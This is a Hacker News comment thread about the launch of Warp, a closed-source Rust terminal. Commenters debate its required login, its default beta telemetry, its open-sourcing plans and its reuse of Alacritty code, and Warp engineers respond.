| blorenz wrote:
| Congrats on your launch, though it seems you are getting slammed
| here and it may not be the reception you anticipated. I'm
| genuinely curious if you talked to your target demographic prior
| to this or only postulated that this would be a viable product
| with the proposed revenue model? The HN crowd is brutally candid
| and honest. Hopefully the criticism you are currently receiving
| can be structured into a revision of the product.
| steveklabnik wrote:
| This isn't even the first thread on HN about Warp. Some never
| took off, but both
| https://news.ycombinator.com/item?id=27835057 and
| https://news.ycombinator.com/item?id=27834649 have a bunch of
| comments. The Discord has almost 900 people in it.
| cieplik wrote:
| Thanks for the kind words! We actually did (and still do) talk
| to our Users via Discord, github issues, as well as 1-1 User
| interviews.
|
| In fact, I participated in a very first user research sessions
| (back then it was me and the ENTIRE WARP TEAM) almost a year
| ago, and after a session like this I decided to interview with
| the company and changed my job, and joined Warp :))
| andsbf wrote:
| I still to see something that is not "slammed" here on HN.
|
| I read this article the other day that people with "technical
| background"[1] have this "instinct" to quickly look for
| "wrongs/fails" to avoid failures, issue here is, we express out
| selves terribly and most of the time it will go blunt on
| comments. This lead a whole discussion on the topic, some
| people it was the right thing to do, and others thought that we
| should be more human/kind to each others.
|
| The article above was actually about Pull-Request/Code-reviews,
| and how some people will mostly scrutinise others people work
| to feel like a hero.
|
| [1] I believe most of us here have a "technical background",
| who else uses a "ugly forum"
| ksm1717 wrote:
| I was interested until I learned that the application is
| blazingly fast :/
| mitrandir77 wrote:
| It is quite fast tbh and non-sluggish terminal is nice-to-have.
|
| I've tried one terminal rendering benchmark I had at hand [1]
| and on my MacBook Pro it was 17x faster than iterm and 3x
| faster than wezterm which is my daily driver.
|
| [1] https://github.com/wez/wezterm/issues/192
| nynx wrote:
| Is your plan to open-source this or open-source its core in the
| future?
| zachlloyd wrote:
| It's a good question, one that we are discussing a bunch.
|
| We are planning to first open-source our Rust UI framework, and
| then parts and potentially all of our client codebase. The
| server portion of Warp will remain closed-source for now.
|
| You can see how we're thinking about open source here:
| https://github.com/warpdotdev/Warp/discussions/400 TLDR;
|
| As a side note, we are open sourcing our extension points as we
| go. The community has already been contributing new themes
| [https://github.com/warpdotdev/themes]. And we've just opened a
| repository for the community to contribute common useful
| commands. [https://github.com/warpdotdev/workflows]
| adamnemecek wrote:
| Can you tell us more about your GUI framework? E.g. what sort
| of paradigm are you using?
| metadat wrote:
| Why does it need a server? Is that normal for a terminal?
| pm90 wrote:
| I wish you the best, this does look really cool. The
| collaboration aspects especially are pretty great; with
| remote work becoming the norm, terminal sharing without
| having to go through grainy zoom video shares is going to be
| amazing. And the workflows look super useful as well.
|
| Just my thoughts on this: I wouldn't consider using it
| personally, but would advocate for using it in companies
| where e.g. there are engineers that work closely with
| support, teaching them how to debug etc. If it was OSS, I do
| think it would increase adoption by a lot.
| mamcx wrote:
| The UI controls is something I like to see. And possible
| support for mobile?
| NoraCodes wrote:
| Is your framework well-integrated with accessibility tools on
| Mac OS? If so, will you continue to integrate with those
| tools on other platforms?
| cieplik wrote:
| We are actively working on a11y! It's still a work-in-
| progress, but the goal is to a) make Warp the most
| accessible terminal there is and b) make a11y be an
| integrated part of the UI framework, so creating accessible
| apps in rust would be a no-brainer for future users of our
| framework.
|
| And yes - once we go cross-platform, we will work on the
| a11y support there too.
| mwcampbell wrote:
| > We are actively working on a11y!
|
| Glad to hear it! I'm working on a Rust GUI accessibility
| library that might interest you:
|
| https://github.com/AccessKit/accesskit
|
| If you'd like to email me so we can compare
| implementation approaches and perhaps avoid duplicated
| effort, my email address is in my HN profile.
| NoraCodes wrote:
| That's really lovely to hear, and to be honest, makes me
| more hopeful about the direction of the project in
| general.
| egamirorrim wrote:
| Where's the Linux client? Srsly cater to your power users first!
| dmillar wrote:
| so alacritty two?
| diego_moita wrote:
| A sign-up in a terminal?
|
| Sorry, just no.
| wildmanx wrote:
| "[we want a restrictive license that] prevents another company
| from starting a commercial enterprise off of it"
|
| versus
|
| "our terminal model code is based on Alacritty's model code."
|
| Well done. Sorry guys, that's where you lost me.
| zachlloyd wrote:
| I understand where you're coming from.
|
| My take is that there are plenty of commercial projects that
| have open source dependencies so it's not quite so black and
| white. That said we are still figuring out the best way to
| proceed on open sourcing the warp client code.
| [deleted]
| wildmanx wrote:
| Yes there are plenty of those. And if they then blatantly
| state that they are not open source because they don't want
| somebody to build a business on their product while that's
| exactly what they are doing, then they lost me as well.
|
| I really like what you guys are working on, and I'd
| absolutely give it a try. But this is really a deal breaker
| here. Make the team-oriented features proprietary that need
| server space and accounts and all that, open-source the rest
| and enable it to run offline. Maybe not tomorrow, I get that.
| But the moment you do this will open the dams. Until then,
| you'll stay in a niche.
| kreetx wrote:
| As pointed out elsewhere, the product (with waiting list)
| was announced here 8 months ago where open-sourcing was
| suggested (privacy and security and all that), but it seems
| that it hasn't been important to them.
| heroHACK17 wrote:
| This product gives me the same sketchy vibes as Mighty[1].
| There's absolutely no way I'm going to give up one of my most
| sacred tools to a funded company whose going to expose my every
| click.
|
| [1] mightyapp.com
| hbn wrote:
| I've been loving Warp since discovering it on HN a few months
| back. I was originally drawn in by how it treats text input like
| a regular text input field out of the box, so I don't have to
| configure anything and my normal text editing shortcuts just
| work.
|
| But the other features of it have been really great too. I like
| the terminal splitting, the history searching, the command
| palette, and no performance issues I've noticed either. It's made
| my terminal a joy to use for once. Keep up the great work!
| zhengt wrote:
| Warp engineer here - Thanks for being an early user!
|
| While folks have mentioned here that shells have powerful line
| editing capabilities, I've found that a lot of people miss
| this. We want to allow a broader set of people to be productive
| in the terminal. And FWIW, a lot of developers - with varying
| amounts of experience - have resonated with the text input.
|
| Personally, I'm a heavy vim user and I've never gotten
| particularly comfortable using the shell's line editor.
| NoraCodes wrote:
| For what it's worth, if the keybindings you want are Vim or
| Emacs-like, you can get this behavior in Bash or Zsh (or
| probably other terminals) with literally one line of
| configuration.
| alex_smart wrote:
| The emacs-like keybindings are default for bash (and probably
| zsh too). So you need zero lines of configuration, just the
| awareness that they exist.
| hbn wrote:
| I want it to behave like every other text input field on my
| Mac. So I can do option+left/right to jump words,
| Cmd+left/right to jump to beginning/end of a line, shift +
| move cursor to highlight text, Cmd+A to select all, option +
| forward delete to delete the whole word in front of my
| cursor, etc
| ushakov wrote:
| what's wrong with the standard terminal then?
| hbn wrote:
| It does none of the things I mentioned
| speedgoose wrote:
| > Warp is a fully native, GPU-accelerated, Rust-based terminal.
| No Electron or web-tech.
|
| I understand that this probably appeals to most readers there,
| but I don't like the negativity. I like Rust and Web tech,
| sometimes together, and I don't want my tools to shit on what I
| like.
|
| We can also discuss the full nativeness. To me, the menus don't
| even try to look native. Is it native because it doesn't use a
| virtual machine or an interpreter? Almost all computers use a
| microcode, I think this argument is a bit obsolete. Performances
| matters, not how many layers or virtual machines you have.
|
| I prefer some marketing about this terminal being fast, backed by
| proper benchmarks in which you can compare it against electron
| web-based terminals, and faster ones such as alacritty.
| zhengt wrote:
| Hi, Warp engineer here! Nothing against electron. We write this
| in the headline because people who see features like blocks or
| input editor automatically think "slow". So it's a succinct way
| to communicate that we have a snappy app.
|
| For benchmarks, we have some preliminary info in this tech blog
| https://www.warp.dev/blog/how-warp-works.
| speedgoose wrote:
| I understand that you want to promote the speed. I think the
| message could be more succinct without mentioning Electron
| and web.
| taosx wrote:
| I believe that they can turn this around with more transparency
| going forward. I also see value in how it can help a tech
| company, being able to onboard people into specific workflows
| (dev,ops..etc) using a combination of docs and team capabilities.
|
| I'm sure some people wouldn't like what I'm about to propose as
| it again "phones home" but I encourage the team to take a look at
| GPT models for converting text to commands, I have a simple fine-
| tuned model that does wonders when I'm in the terminal.
|
| As for me at home, all I need are those sweet blocks with text-
| editing mode in any open source terminal.
| [deleted]
| xwdv wrote:
| I'll stick with kitty for Max OS X. Still way faster and no
| privacy concerns.
| [deleted]
| divan wrote:
| Just tried it too.. Justified worries over closed-source &
| telemetry/github sign-in, but holy cow it's good. I especially
| like the just right minimal amount of settings - nothing extra,
| nothing missing - and fantastic minimalistic docs that gives
| understanding of all features and all hotkeys in like 10 mins.
| Impressive.
| aorth wrote:
| Looks snazzy and I'm sure it's fast, but raising capital to fund
| a terminal emulator? Making a bunch of network requests on
| startup without asking? No thanks! I'll stick to open-source
| terminal emulators like foot, alacritty, gnome-terminal, or a
| dozen others. I guess I'm not the target market.
| kpaddie10 wrote:
| Early user (in the Discord). Been waiting for this one for a
| while. Excited to see it launch! Congrats, team.
| metadat wrote:
| "We started with the open source product Alacritty, though for
| now we won't be sharing our source code. ..But depending on the
| telemetry we receive we might decide to make the source available
| at some undetermined point in the future! Maybe."
|
| Talk about a bad taste. This is basically the Elasticsearch
| licensing fiasco waiting to happen again.
|
| So many red flags, I don't have time to list them.
|
| Bottom line: The company attitude is not open, and bears the
| whiff of the aggressive Docker-4-Desktop fiasco and financial
| investment recoupment strategy.
|
| Lots of things can change, but organization DNA doesn't.
|
| See also: Microsoft, Uber, Apple. Things don't _really_ change.
| kzrdude wrote:
| Why the bad taste? If Alacritty doesn't want to be close-forked
| they should use a copyleft license.
| minroot wrote:
| Your website is broken on mobile
| chologrande wrote:
| A terminal that requires me to log in. No thnx. Uninstalled.
| justin_oaks wrote:
| I assume Warp is fundamentally incompatible with GNU screen or
| tmux.
|
| That's a shame because terminal multiplexers like GNU screen and
| tmux such a core part of my terminal usage that I'm hesitant to
| discard them, even for something that looks really useful like
| Warp.
|
| I'm not sure how many people actively use terminal multiplexers
| like GNU screen and tmux, so maybe I represent only a tiny
| minority of users.
| marshal_mellow wrote:
| I suspect its a minority but I'm right there with you. screen
| is great I love being able to detach and reattach and have many
| shells in a single window even if I'm on another machine.
| miohtama wrote:
| On the beta sign up survey they mention tmux as a feature
| request.
| andrewzah wrote:
| A company receiving receiving $23 million usd to build a
| _terminal_ is about the dumbest thing I 've seen this month. I
| would've figured it to be a April Fools joke if posted a few days
| earlier.
|
| Why is a company building a terminal? How are they going to earn
| money at all when there are other fast, performant terminals that
| are open source, community run, and don't have interests at-odds
| with user freedom and privacy?
|
| It seems like just about any tech project is being funded now.
|
| edit: It's also sad that we're at the point of "no electron"
| being a selling point, when it should be the standard for CLI
| tools. And I'm so glad to see it supports other shells, like just
| about every other terminal out there.
| [deleted]
| broknbottle wrote:
| Monetization via Ads in the terminal. By monitoring your input
| and determining periods where you're not as productive. The
| possibilities are endless, imagine getting a pop-up
| notification right in your terminal for a local coffee shop
| with a great coffee selection or a local pizzeria with 5 star
| pizza to give you that boost to keep on coding through the
| night.
| ushakov wrote:
| they'll have a business offering which lets people collaborate
| andrewzah wrote:
| If collaboration is the angle, JetBrains and VSCode already
| offer that but without forcing people to use specific
| terminals.
| ushakov wrote:
| yep and looking at me and my colleagues, nobody opens a
| terminal app anymore, it's all integrated terminals
| croaso wrote:
| Aside from the $23m investment, telemetry, whiff of Rust
| fanboyism, the core claims made are questionable for me:
| Terminals are hard to use. Complex commands. Arcane key
| shortcuts. Abstruse commands. Every productivity application is
| more powerful when it is collaborative - true 100% of the time.
| Fixing a problem that doesn't really exist in my book - but good
| luck!
| webscalist wrote:
| In short: I'm gonna gather your personal info for profit.
| c0l0 wrote:
| Does this pass the vt100 torture test
| (http://www.inwap.com/pdp10/vt100test.txt)?
| traceroute66 wrote:
| Hello Zach, founder and CEO of Warp.
|
| What makes you think its acceptable for you to spam HN with Warp
| every few months ?
| guytv wrote:
| You're just being mean.
| sgt wrote:
| He's specifically looking for the engineering crowd at HN. I
| hadn't heard about Warp and I've been on HN every day since
| 2010. Give the guy a break.
| adithyasrin wrote:
| Been keeping an eye on this for a while now. Will test on Mac
| soon. Congrats on the launch!
|
| Just a heads up: on Pixel 6 on Firefox, the homepage is not
| smooth at all and feels sluggish.
| grosen wrote:
| Great work on launch! I have been using the private beta and it's
| a true step function improvement over standard terminal
| Aissen wrote:
| Heard about Warp from Twitter and the rustacean station podcast.
| I don't think I'm the target audience (uses Linux and wouldn't
| use a proprietary terminal), but it's nice to see you try to
| improve such a fundamental and commoditized tool. Wishing you all
| the best!
| munro wrote:
| > Telemetry > When Warp comes out of beta, telemetry will be opt-
| in and anonymous.
|
| > But for our beta phase, we do send telemetry by default and we
| do associate it with the logged in user because it makes it much
| easier to reach out and get feedback when something goes wrong.
|
| This is a hard pass for me, it looks really amazing though. I'm
| so tired of telemetry, how do we quit our day jobs to focus on
| open source? ;-;
| michlim wrote:
| Warp engineer here. I understand your concern.
|
| We will remove telemetry when we enter general availability. It
| will be opt-in and anonymous.
|
| We really want to improve the product quickly during this beta
| phase. Collecting data makes it much easier to reach out and
| get feedback when something goes wrong. But we only track
| metadata, never console output. For an exhaustive list of
| events that we track, see here: https://docs.warp.dev/getting-
| started/privacy#exhaustive-tel....
|
| We are going to open source parts and potentially all of the
| terminal. We want to allow folks to audit our code and tweak
| Warp.
| wodenokoto wrote:
| > never console output.
|
| Hopefully also not input ;)
| csomar wrote:
| You do understand that developers use the terminal with
| _very_ sensitive information? Things like SSH keys,
| proprietary code (for vim users), Bitcoin private keys,
| etc...
|
| These cover both professional (company) and personal stuff.
| No one should use a terminal that has telemetry (unless they
| are out of their mind).
| bastardoperator wrote:
| This type of canned response doesn't sit well with me. Keep
| us posted when you're out of beta and those things are
| removed, do you have a timeline for that?
| michlim wrote:
| We potentially could remove the telemetry sooner, before
| the general availability. There is no set timeline yet, but
| we will announce it when we do!
| mzs wrote:
| You really should take people's advice in beta. Get rid
| of telemetry before tomorrow. If you don't this terminal
| will likely fail. It might be too late already.
| ushakov wrote:
| you need to realise is that if you don't do this "by
| tomorrow", the momentum will be lost and no HN'er will
| ever use your product, because they will forever
| associate it with tracking
| websap wrote:
| You grossly overestimate how important HN is. Didn't
| Dropbox get beaten up on HN?
| ushakov wrote:
| this isn't Dropbox though
|
| terminals are used by sysadmins/software
| developers/hackers
|
| HN the most important resource in this category
|
| their product has the hotspot
|
| they should be fixing the telemetry ASAP (i'd suggest -
| before next release) or else their product will be
| forgotten for a while and next time it comes up everyone
| will be sceptical to upvote again
| websap wrote:
| There are 1000s of developers who use the terminal for
| simple things like running dev workflows - git checkout,
| build, edit code, send a PR, etc. It seems wrap is trying
| automate things here to help these developers.
|
| Just because there are plenty of bash wizards who don't
| like this, it doesn't mean this isn't useful.
|
| There are still plenty of users who swear by Vim / Emacs.
| I've been a software engineer for 10 years at a FAANG and
| never use Vim to write code.
| tedivm wrote:
| This is already being brought up in multiple slack
| networks I'm on, with the general consensus being that
| these decisions make the company impossible to trust.
| kzrdude wrote:
| rust's rustup planned to add telemetry - they had a
| config for it (but never ended up doing so). It still
| affected me and how I viewed the program. These things
| stick around. I think they are safely without telemetry
| now (but they "obviously" ping home to look for updates).
| ushakov wrote:
| your target audience will never opt-in though
| JoBrad wrote:
| Do you track input during beta?
| michlim wrote:
| No, we do not track console input or output. Just metadata
| like: "block copied", "block selected", "bootstrapping
| failed".
|
| For an exhaustive list of events and metadata we collect,
| see: https://docs.warp.dev/getting-
| started/privacy#exhaustive-tel...
| RL_Quine wrote:
| Metadata like that, _associated with a specific users
| identity_.
| rattray wrote:
| I totally get your perspective, and I'd do the same thing...
| but only before launching on HN. If you want feedback from
| the hacking public, you have to accept that it'll be
| inefficient.
|
| For myself, the visuals are compelling enough that my fingers
| twitched over "download" but the "you'll have to log in to
| your terminal" messaging I see here was enough for me to not,
| and even though I could theoretically do it later, it leaves
| a bad taste in my mouth that (rationally or no) will probably
| hold me back from trying it once it's GA.
| Kalium wrote:
| I think I'll reserve judgment for when Warp puts its GitHub
| repository where its canned HN comment is.
|
| If you want to be taken seriously as a security and privacy
| focused product that can be trusted to handle sensitive data
| and undertake sensitive operations, this is not a great look.
| We need to trust you now and be able to trust you today -
| _before_ general availability. The world of software is
| littered with "potentially" and "later" statements that
| somehow never quite manage to arrive.
|
| I hope you can understand our collective skepticism. Trust is
| earned in drops and lost in buckets. It starts with making it
| easy to trust you by minimizing how much we have to.
| decodebytes wrote:
| I expect someone will fork shortly and remove all the telemetry
| nicoburns wrote:
| It's not open source currently, so probably not!
| tux3 wrote:
| People fix complex bugs in the nvidia.ko binary blob, so
| who knows!
| Arisaka1 wrote:
| The issue is having to wait for someone else to do it. I feel
| the same way as a gamer waiting for third party fans to build
| mods/fixes/overlays that fix issues of a game that the dev
| decided not to implement for whatever reason. Good that it
| happens, wish it really didn't because now your product is
| more purchasable to some people because someone other than
| you fixed it.
___________________________________________________________________
(page generated 2022-04-05 23:00 UTC)